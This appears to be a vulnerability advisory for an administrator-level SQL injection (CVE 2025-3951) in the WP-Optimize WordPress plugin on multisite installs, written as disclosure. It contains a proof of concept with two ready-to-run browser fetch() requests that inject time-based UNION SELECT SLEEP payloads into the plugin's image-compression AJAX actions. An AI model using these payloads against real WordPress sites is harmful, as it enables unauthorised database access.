WP-Optimize < 4.2.0 – Admin+ SQLi | CVE 2025-3951

Description

The plugin does not properly escape user input when checking image compression statuses, which could allow users with the administrator role to conduct SQL Injection attacks in the context of Multi-Site WordPress configurations.

Proof of Concept

1) Login as an administrator on a multisite WordPress instance with the plugin activated
2) Go to a WP-Optimize page, like /wp-admin/network/admin.php?page=wpo_support
3) Run any of the two following fetch() commands in your browser's console, and notice the request hangs, indicating our SQL statements were properly injected in another query:

await fetch("/wp-admin/admin-ajax.php", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    },
    "referrer": "http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/user-new.php",
    "body": `action=updraft_smush_ajax&subaction=get_smush_details&data[selected_images][0]=1+UNION+SELECT+SLEEP(5),NULL+FROM+wp_users;+--+&nonce=${wposmush["smush_ajax_nonce"]}`,
    "method": "POST",
    "mode": "cors"
});


await fetch("/wp-admin/admin-ajax.php", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    },
    "referrer": "http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/user-new.php",
    "body": `action=updraft_smush_ajax&subaction=mark_as_compressed&data[selected_images][0][blog_id]=1&data[selected_images][0][attachment_id]=1+UNION+SELECT+SLEEP(5),NULL+FROM+wp_users;+--+&nonce=${wposmush["smush_ajax_nonce"]}`,
    "method": "POST",
    "mode": "cors"
});